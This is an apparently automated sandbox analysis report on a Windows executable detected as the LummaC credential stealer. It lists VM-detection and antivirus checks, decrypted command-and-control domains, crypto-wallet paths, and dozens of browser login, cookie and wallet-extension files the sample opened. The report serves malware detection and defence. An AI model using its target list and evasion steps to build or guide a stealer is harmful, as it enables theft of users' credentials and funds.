Source: Ag3ijL3z1w.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp$PH

Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH
Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH
Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_3_00B29BB3 push ds; retf	0_3_00B29BB4
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000A8597 pushfd ; ret	0_2_000A85A1
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000A6A32 push cs; retf	0_2_000A6A37
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_003533E7 push esi; ret	0_2_003E05D0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00105F3D push esp; ret	0_2_00105F4D

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Code function: 0_2_0013E70F rdtsc

0_2_0013E70F

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe TID: 7280

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1875704776.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1873169366.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1875704776.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1873169366.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: Ag3ijL3z1w.exe, 00000000.00000002.1875504180.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Code function: 0_2_0013E70F rdtsc

0_2_0013E70F

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: associationokeo.shop
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: turkeyunlikelyofw.shop
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: pooreveningfuseor.pw
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: edurestunningcrackyow.fun
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: detectordiscusser.shop
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: relevantvoicelesskw.shop
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: colorfulequalugliess.shop
Source: Ag3ijL3z1w.exe, 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: wisemassiveharmonious.shop

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Ag3ijL3z1w.exe, 00000000.00000003.1775315216.0000000003090000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1872387463.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1877490419.0000000003093000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1875704776.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1873169366.0000000000A9A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Ag3ijL3z1w.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Ag3ijL3z1w.exe, 00000000.00000003.1712285462.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Electrum\\wallets",
Source: Ag3ijL3z1w.exe, 00000000.00000002.1877392777.0000000003070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Edge/Default/Extensions/Jaxx LibertyIEQ
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712285462.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "m": ["app-store.json", ".finger-print.fp", "simple-storage.json", "window-state.json"],
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712285462.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Exodus\\exodus.wallet",
Source: Ag3ijL3z1w.exe	String found in binary or memory: Edge/Default/Extensions/ExodusWeb3
Source: Ag3ijL3z1w.exe, 00000000.00000002.1875055252.0000000000788000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Wallets/BinanceC:\Users\user\AppData\Roaming\Binance
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712285462.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Ethereum",
Source: Ag3ijL3z1w.exe, 00000000.00000003.1873169366.0000000000A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712285462.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "keystore"
Source: Ag3ijL3z1w.exe, 00000000.00000002.1875055252.0000000000788000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live+p2

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
